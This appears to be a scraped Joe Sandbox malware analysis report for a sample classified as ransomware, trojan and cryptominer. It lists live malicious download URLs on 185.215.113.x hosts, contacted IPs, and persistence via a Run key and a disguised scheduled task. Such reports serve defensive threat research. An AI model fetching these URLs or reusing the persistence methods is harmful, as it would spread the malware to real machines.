                                                                                                                                                                                                                                                    http://185.215.113.84/xmr.exeI120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                                    http://185.215.113.66/cock/529.txtt311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                                    http://185.215.113.66/5LMEM0PNhQwsysrxvcs.exe, 00000001.00000003.382643148.00000000030B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                                    https://github.com/Pester/Pesterpowershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      		high
                                                                                                                                                                                                                                                      http://185.215.113.66/cawkz/http://185.215.113.66/cawkz/n.txt75601095.exe, 00000008.00000002.634235803.00000000038A9000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://185.215.113.66/5LMEM0wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://185.215.113.66/3C:wsysrxvcs.exe, 00000001.00000002.633098894.000000000067A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://185.215.113.66/1%wsysrxvcs.exe, 00000001.00000002.633098894.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://185.215.113.66/1KKC:wsysrxvcs.exe, 00000001.00000003.325012428.00000000006E8000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325132912.00000000006F6000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325647326.00000000006F8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://185.215.113.66/3hwsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                                      http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.532612242.000001B5C9059000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                        		high
                                                                                                                                                                                                                                                        http://185.215.113.66/4Powsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                                        http://185.215.113.66/cock/http://185.215.113.66/cock/n.txt_311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                                        http://185.215.113.66/9998883922wsysrxvcs.exeWindowsfile.exefalse
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                                        http://185.215.113.66/cock/8311029678.exe, 00000005.00000002.632819287.000000000031C000.00000004.00000010.00020000.00000000.sdmp, 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                                        http://185.215.113.84/xmr.exeSystem32120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                                        http://185.215.113.66/3ystem32wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                                        		unknown

                                                                                                                                                                                                                                                        World Map of Contacted IPs

                                                                                                                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                                                                                                                        Public IPs

                                                                                                                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                                                                        185.205.70.129
                                                                                                                                                                                                                                                        		unknownunknown
                                                                                                                                                                                                                                                        		205822DEVINOTELECOM-ASRUfalse
                                                                                                                                                                                                                                                        207.211.30.221
                                                                                                                                                                                                                                                        		us-smtp-inbound-1.mimecast.comUnited States
                                                                                                                                                                                                                                                        		30031MIMECAST-USfalse
                                                                                                                                                                                                                                                        147.182.160.18
                                                                                                                                                                                                                                                        		mx37.m1bp.comUnited States
                                                                                                                                                                                                                                                        		27555BV-PUBLIC-ASNUSfalse
                                                                                                                                                                                                                                                        188.209.234.120
                                                                                                                                                                                                                                                        		unknownYemen
                                                                                                                                                                                                                                                        		30873PTC-YEMENNETYEtrue
                                                                                                                                                                                                                                                        104.47.2.33
                                                                                                                                                                                                                                                        		apc.olc.protection.outlook.comUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        173.230.139.246
                                                                                                                                                                                                                                                        		mail.biyac.comUnited States
                                                                                                                                                                                                                                                        		63949LINODE-APLinodeLLCUSfalse
                                                                                                                                                                                                                                                        104.47.11.33
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        217.69.139.150
                                                                                                                                                                                                                                                        		mxs.mail.ruRussian Federation
                                                                                                                                                                                                                                                        		47764MAILRU-ASMailRuRUfalse
                                                                                                                                                                                                                                                        104.47.17.97
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        142.251.31.26
                                                                                                                                                                                                                                                        		ASPMX.L.GOOGLE.COMUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        104.18.114.97
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                                                                        5.235.160.80
                                                                                                                                                                                                                                                        		unknownIran (ISLAMIC Republic Of)
                                                                                                                                                                                                                                                        		58224TCIIRfalse
                                                                                                                                                                                                                                                        142.251.31.27
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        2.180.17.238
                                                                                                                                                                                                                                                        		unknownIran (ISLAMIC Republic Of)
                                                                                                                                                                                                                                                        		58224TCIIRfalse
                                                                                                                                                                                                                                                        142.250.150.26
                                                                                                                                                                                                                                                        		alt1.aspmx.l.google.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        142.250.150.27
                                                                                                                                                                                                                                                        		alt1.gmail-smtp-in.l.google.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        213.209.1.129
                                                                                                                                                                                                                                                        		smtp-in.libero.itItaly
                                                                                                                                                                                                                                                        		8660MATRIX-ASITfalse
                                                                                                                                                                                                                                                        35.214.154.213
                                                                                                                                                                                                                                                        		eleganceangels.comUnited States
                                                                                                                                                                                                                                                        		19527GOOGLE-2USfalse
                                                                                                                                                                                                                                                        77.88.21.249
                                                                                                                                                                                                                                                        		mx.yandex.ruRussian Federation
                                                                                                                                                                                                                                                        		13238YANDEXRUfalse
                                                                                                                                                                                                                                                        5.161.98.212
                                                                                                                                                                                                                                                        		mail.h-email.netGermany
                                                                                                                                                                                                                                                        		24940HETZNER-ASDEfalse
                                                                                                                                                                                                                                                        5.251.83.53
                                                                                                                                                                                                                                                        		unknownKazakhstan
                                                                                                                                                                                                                                                        		9198KAZTELECOM-ASKZtrue
                                                                                                                                                                                                                                                        185.215.113.84
                                                                                                                                                                                                                                                        		unknownPortugal
                                                                                                                                                                                                                                                        		206894WHOLESALECONNECTIONSNLtrue
                                                                                                                                                                                                                                                        104.47.66.33
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        59.17.181.12
                                                                                                                                                                                                                                                        		sniper.kyungshin.co.krKorea Republic of
                                                                                                                                                                                                                                                        		4766KIXS-AS-KRKoreaTelecomKRfalse
                                                                                                                                                                                                                                                        147.30.24.170
                                                                                                                                                                                                                                                        		unknownKazakhstan
                                                                                                                                                                                                                                                        		9198KAZTELECOM-ASKZtrue
                                                                                                                                                                                                                                                        173.194.202.27
                                                                                                                                                                                                                                                        		alt4.gmail-smtp-in.l.google.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        173.194.202.26
                                                                                                                                                                                                                                                        		alt4.aspmx.l.google.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        206.1.207.221
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		174COGENT-174USfalse
                                                                                                                                                                                                                                                        104.47.11.225
                                                                                                                                                                                                                                                        		eur.olc.protection.outlook.comUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        98.136.96.74
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36646YAHOO-NE1USfalse
                                                                                                                                                                                                                                                        178.62.199.248
                                                                                                                                                                                                                                                        		unknownEuropean Union
                                                                                                                                                                                                                                                        		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                                                                        104.47.59.161
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        98.136.96.75
                                                                                                                                                                                                                                                        		mta7.am0.yahoodns.netUnited States
                                                                                                                                                                                                                                                        		36646YAHOO-NE1USfalse
                                                                                                                                                                                                                                                        104.47.14.33
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        98.136.96.76
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36646YAHOO-NE1USfalse
                                                                                                                                                                                                                                                        194.153.145.205
                                                                                                                                                                                                                                                        		pmx.abv.bgBulgaria
                                                                                                                                                                                                                                                        		13147NETINFO12EmilBersinskiStrBGfalse
                                                                                                                                                                                                                                                        194.153.145.204
                                                                                                                                                                                                                                                        		smx.abv.bgBulgaria
                                                                                                                                                                                                                                                        		13147NETINFO12EmilBersinskiStrBGfalse
                                                                                                                                                                                                                                                        239.255.255.250
                                                                                                                                                                                                                                                        		unknownReserved
                                                                                                                                                                                                                                                        		unknownunknownfalse
                                                                                                                                                                                                                                                        162.62.116.184
                                                                                                                                                                                                                                                        		mx1.qq.comSingapore
                                                                                                                                                                                                                                                        		132203TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCNfalse
                                                                                                                                                                                                                                                        212.227.17.5
                                                                                                                                                                                                                                                        		mx01.emig.gmx.netGermany
                                                                                                                                                                                                                                                        		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                                                                                                                                                                                                                                        165.227.156.49
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                                                                        100.89.199.14
                                                                                                                                                                                                                                                        		unknownReserved
                                                                                                                                                                                                                                                        		701UUNETUSfalse
                                                                                                                                                                                                                                                        185.215.113.66
                                                                                                                                                                                                                                                        		unknownPortugal
                                                                                                                                                                                                                                                        		206894WHOLESALECONNECTIONSNLtrue
                                                                                                                                                                                                                                                        67.195.204.80
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        67.195.228.94
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36647YAHOO-GQ1USfalse
                                                                                                                                                                                                                                                        193.222.135.150
                                                                                                                                                                                                                                                        		mx.tlen.plPoland
                                                                                                                                                                                                                                                        		31080O2-ASPLfalse
                                                                                                                                                                                                                                                        62.142.5.236
                                                                                                                                                                                                                                                        		mx-stp.mail.saunalahti.fiFinland
                                                                                                                                                                                                                                                        		719ELISA-ASHelsinkiFinlandEUfalse
                                                                                                                                                                                                                                                        212.227.17.8
                                                                                                                                                                                                                                                        		mx-ha02.web.deGermany
                                                                                                                                                                                                                                                        		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                                                                                                                                                                                                                                        94.100.180.31
                                                                                                                                                                                                                                                        		unknownRussian Federation
                                                                                                                                                                                                                                                        		47764MAILRU-ASMailRuRUfalse
                                                                                                                                                                                                                                                        104.47.57.161
                                                                                                                                                                                                                                                        		msn-com.olc.protection.outlook.comUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        104.47.55.161
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        67.195.204.79
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        142.93.233.86
                                                                                                                                                                                                                                                        		em4.mainnetmail.comUnited States
                                                                                                                                                                                                                                                        		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                                                                        67.195.204.75
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        67.195.204.77
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        67.195.228.84
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36647YAHOO-GQ1USfalse
                                                                                                                                                                                                                                                        74.208.5.3
                                                                                                                                                                                                                                                        		mx00.ionos.comUnited States
                                                                                                                                                                                                                                                        		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                                                                                                                                                                                                                                        147.30.31.203
                                                                                                                                                                                                                                                        		unknownKazakhstan
                                                                                                                                                                                                                                                        		9198KAZTELECOM-ASKZfalse
                                                                                                                                                                                                                                                        67.195.204.72
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        188.125.72.74
                                                                                                                                                                                                                                                        		unknownUnited Kingdom
                                                                                                                                                                                                                                                        		34010YAHOO-IRDGBfalse
                                                                                                                                                                                                                                                        188.125.72.73
                                                                                                                                                                                                                                                        		mx-eu.mail.am0.yahoodns.netUnited Kingdom
                                                                                                                                                                                                                                                        		34010YAHOO-IRDGBfalse
                                                                                                                                                                                                                                                        67.195.204.74
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        176.119.200.129
                                                                                                                                                                                                                                                        		mailsec.protonmail.chunknown
                                                                                                                                                                                                                                                        		62371PROTONCHfalse
                                                                                                                                                                                                                                                        67.195.204.73
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		26101YAHOO-3USfalse
                                                                                                                                                                                                                                                        39.32.141.244
                                                                                                                                                                                                                                                        		unknownPakistan
                                                                                                                                                                                                                                                        		45595PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPKtrue
                                                                                                                                                                                                                                                        74.125.200.26
                                                                                                                                                                                                                                                        		alt2.aspmx.l.google.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        67.195.228.109
                                                                                                                                                                                                                                                        		mta5.am0.yahoodns.netUnited States
                                                                                                                                                                                                                                                        		36647YAHOO-GQ1USfalse
                                                                                                                                                                                                                                                        74.125.200.27
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        98.136.96.91
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36646YAHOO-NE1USfalse
                                                                                                                                                                                                                                                        103.129.252.84
                                                                                                                                                                                                                                                        		126mx00.mxmail.netease.comHong Kong
                                                                                                                                                                                                                                                        		137263NETEASE-AS-APNETEASEHONGKONGLIMITEDHKfalse
                                                                                                                                                                                                                                                        98.136.96.93
                                                                                                                                                                                                                                                        		mx-aol.mail.gm0.yahoodns.netUnited States
                                                                                                                                                                                                                                                        		36646YAHOO-NE1USfalse
                                                                                                                                                                                                                                                        77.75.77.42
                                                                                                                                                                                                                                                        		mx2.seznam.czCzech Republic
                                                                                                                                                                                                                                                        		43037SEZNAM-CZfalse
                                                                                                                                                                                                                                                        103.129.252.82
                                                                                                                                                                                                                                                        		163mx03.mxmail.netease.comHong Kong
                                                                                                                                                                                                                                                        		137263NETEASE-AS-APNETEASEHONGKONGLIMITEDHKfalse
                                                                                                                                                                                                                                                        49.12.18.190
                                                                                                                                                                                                                                                        		in.mail.tmGermany
                                                                                                                                                                                                                                                        		24940HETZNER-ASDEfalse
                                                                                                                                                                                                                                                        80.69.180.100
                                                                                                                                                                                                                                                        		unknownRussian Federation
                                                                                                                                                                                                                                                        		25549AVANTEL-ASRUtrue
                                                                                                                                                                                                                                                        104.47.51.33
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        2.180.17.91
                                                                                                                                                                                                                                                        		unknownIran (ISLAMIC Republic Of)
                                                                                                                                                                                                                                                        		58224TCIIRtrue
                                                                                                                                                                                                                                                        217.10.8.21
                                                                                                                                                                                                                                                        		ulm-dsl.deGermany
                                                                                                                                                                                                                                                        		25538IN-ULMDEfalse
                                                                                                                                                                                                                                                        144.160.235.143
                                                                                                                                                                                                                                                        		al-ip4-mx-vip1.prodigy.netUnited States
                                                                                                                                                                                                                                                        		797AMERITECH-ASUSfalse
                                                                                                                                                                                                                                                        124.13.116.45
                                                                                                                                                                                                                                                        		unknownMalaysia
                                                                                                                                                                                                                                                        		4788TMNET-AS-APTMNetInternetServiceProviderMYfalse
                                                                                                                                                                                                                                                        203.205.219.58
                                                                                                                                                                                                                                                        		mx2.qq.comChina
                                                                                                                                                                                                                                                        		132203TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCNfalse
                                                                                                                                                                                                                                                        203.205.219.57
                                                                                                                                                                                                                                                        		mx3.qq.comChina
                                                                                                                                                                                                                                                        		132203TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCNfalse
                                                                                                                                                                                                                                                        81.4.103.102
                                                                                                                                                                                                                                                        		mail.yevme.comNetherlands
                                                                                                                                                                                                                                                        		198203ASN-ROUTELABELNLfalse
                                                                                                                                                                                                                                                        164.90.197.143
                                                                                                                                                                                                                                                        		mx37.mb5p.comUnited States
                                                                                                                                                                                                                                                        		14061DIGITALOCEAN-ASNUSfalse
                                                                                                                                                                                                                                                        142.250.157.26
                                                                                                                                                                                                                                                        		aspmx4.googlemail.comUnited States
                                                                                                                                                                                                                                                        		15169GOOGLEUSfalse
                                                                                                                                                                                                                                                        104.47.73.33
                                                                                                                                                                                                                                                        		nam.olc.protection.outlook.comUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse
                                                                                                                                                                                                                                                        80.250.205.174
                                                                                                                                                                                                                                                        		unknownIran (ISLAMIC Republic Of)
                                                                                                                                                                                                                                                        		58224TCIIRfalse
                                                                                                                                                                                                                                                        195.158.22.11
                                                                                                                                                                                                                                                        		unknownUzbekistan
                                                                                                                                                                                                                                                        		8193BRM-ASUZfalse
                                                                                                                                                                                                                                                        109.228.205.235
                                                                                                                                                                                                                                                        		unknownTurkey
                                                                                                                                                                                                                                                        		34296MILLENICOM-ASDEtrue
                                                                                                                                                                                                                                                        81.3.6.162
                                                                                                                                                                                                                                                        		mail.tutanota.deGermany
                                                                                                                                                                                                                                                        		24679SSERV-ASDEfalse
                                                                                                                                                                                                                                                        144.160.159.22
                                                                                                                                                                                                                                                        		ff-ip4-mx-vip2.prodigy.netUnited States
                                                                                                                                                                                                                                                        		797AMERITECH-ASUSfalse
                                                                                                                                                                                                                                                        113.197.51.164
                                                                                                                                                                                                                                                        		unknownPakistan
                                                                                                                                                                                                                                                        		23888NTC-AS-APNationalTelecommunicationCorporationHQPKtrue
                                                                                                                                                                                                                                                        212.227.15.17
                                                                                                                                                                                                                                                        		mx-ha03.web.deGermany
                                                                                                                                                                                                                                                        		8560ONEANDONE-ASBrauerstrasse48DEfalse
                                                                                                                                                                                                                                                        67.195.228.110
                                                                                                                                                                                                                                                        		unknownUnited States
                                                                                                                                                                                                                                                        		36647YAHOO-GQ1USfalse
                                                                                                                                                                                                                                                        67.195.228.111
                                                                                                                                                                                                                                                        		mta6.am0.yahoodns.netUnited States
                                                                                                                                                                                                                                                        		36647YAHOO-GQ1USfalse
                                                                                                                                                                                                                                                        104.47.17.161
                                                                                                                                                                                                                                                        		outlook-com.olc.protection.outlook.comUnited States
                                                                                                                                                                                                                                                        		8075MICROSOFT-CORP-MSN-AS-BLOCKUSfalse

                                                                                                                                                                                                                                                        Private

                                                                                                                                                                                                                                                        IP
                                                                                                                                                                                                                                                        192.168.1.63
                                                                                                                                                                                                                                                        192.168.1.239
                                                                                                                                                                                                                                                        192.168.2.1
                                                                                                                                                                                                                                                        192.168.1.32

                                                                                                                                                                                                                                                        General Information

                                                                                                                                                                                                                                                        Joe Sandbox Version:37.0.0 Beryl
                                                                                                                                                                                                                                                        Analysis ID:831531
                                                                                                                                                                                                                                                        Start date and time:2023-03-21 15:36:38 +01:00
                                                                                                                                                                                                                                                        Joe Sandbox Product:CloudBasic
                                                                                                                                                                                                                                                        Overall analysis duration:0h 12m 13s
                                                                                                                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                                                                                                                        Report type:full
                                                                                                                                                                                                                                                        Cookbook file name:default.jbs
                                                                                                                                                                                                                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                                                                                                                        Number of analysed new started processes analysed:23
                                                                                                                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                                                                                                                        Technologies:
                                                                                                                                                                                                                                                        • HCA enabled
                                                                                                                                                                                                                                                        • EGA enabled
                                                                                                                                                                                                                                                        • HDC enabled
                                                                                                                                                                                                                                                        • AMSI enabled
                                                                                                                                                                                                                                                        Analysis Mode:default
                                                                                                                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                                                                                                                        Sample file name:file.exe
                                                                                                                                                                                                                                                        Detection:MAL
                                                                                                                                                                                                                                                        Classification:mal100.rans.spre.troj.evad.mine.winEXE@33/32@5612/100
                                                                                                                                                                                                                                                        EGA Information:
                                                                                                                                                                                                                                                        • Successful, ratio: 80%
                                                                                                                                                                                                                                                        HDC Information:
                                                                                                                                                                                                                                                        • Successful, ratio: 92.3% (good quality ratio 83.8%)
                                                                                                                                                                                                                                                        • Quality average: 77%
                                                                                                                                                                                                                                                        • Quality standard deviation: 32.1%
                                                                                                                                                                                                                                                        HCA Information:
                                                                                                                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                                                                                                                        • Number of executed functions: 143
                                                                                                                                                                                                                                                        • Number of non-executed functions: 190
                                                                                                                                                                                                                                                        Cookbook Comments:
                                                                                                                                                                                                                                                        • Found application associated with file extension: .exe

                                                                                                                                                                                                                                                        Warnings

                                                                                                                                                                                                                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, conhost.exe
                                                                                                                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 20.109.209.108, 202.137.234.30, 13.76.192.202
                                                                                                                                                                                                                                                        • Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, www.update.microsoft.com, ctldl.windowsupdate.com, wall-bc.southeastasia.cloudapp.azure.com, mx.rediffmail.rediff.akadns.net
                                                                                                                                                                                                                                                        • Execution Graph export aborted for target powershell.exe, PID 4012 because it is empty
                                                                                                                                                                                                                                                        • Execution Graph export aborted for target powershell.exe, PID 7152 because it is empty
                                                                                                                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                                                                        • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                                                                        • Report size exceeded maximum capacity and may have missing network information.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtDeviceIoControlFile calls found.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                                                                        • Report size getting too big, too many NtSetInformationFile calls found.

                                                                                                                                                                                                                                                        Simulations

                                                                                                                                                                                                                                                        Behavior and APIs

                                                                                                                                                                                                                                                        TimeTypeDescription
                                                                                                                                                                                                                                                        15:37:39AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\wsysrxvcs.exe
                                                                                                                                                                                                                                                        15:37:42API Interceptor10x Sleep call for process: wsysrxvcs.exe modified
                                                                                                                                                                                                                                                        15:37:52API Interceptor1x Sleep call for process: 120477188.exe modified
                                                                                                                                                                                                                                                        15:38:02API Interceptor956x Sleep call for process: 311029678.exe modified
                                                                                                                                                                                                                                                        15:38:04API Interceptor64x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                                                                        15:38:09API Interceptor891x Sleep call for process: 75601095.exe modified
                                                                                                                                                                                                                                                        15:38:23Task SchedulerRun new task: GoogleUpdateTaskMachine path: C:\Users\user\Windows Security\Update\winsvrupd.exe
                                                                                                                                                                                                                                                        15:39:21API Interceptor1x Sleep call for process: WMIC.exe modified

                                                                                                                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                                                                                                                        IPs

                                                                                                                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                                        207.211.30.2217mail.doc .exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                          14jess.love@correowe.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                            .exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                              46messag.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                65attachmen.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                  74transcrip.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                    104.47.2.33ABhHk2dXUE.exeGet hashmaliciousRaccoon RedLine SmokeLoader Tofsee XmrigBrowse
                                                                                                                                                                                                                                                                      CJdYRiB9uJ.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                                                        51file.tx.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                          28Update-KB3062-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                            30Update-KB4256-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                              53Update-KB1198-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                19Update-KB9546-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                  15Update-KB3500-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                    37Update-KB3252-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                      5docs.da.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                        17Update-KB5120-x86.exeGet hashmaliciousBrowse
                                                                                                                                                                                                                                                                                          53Update-KB1859-x86.exeGet hashmaliciousBrowse
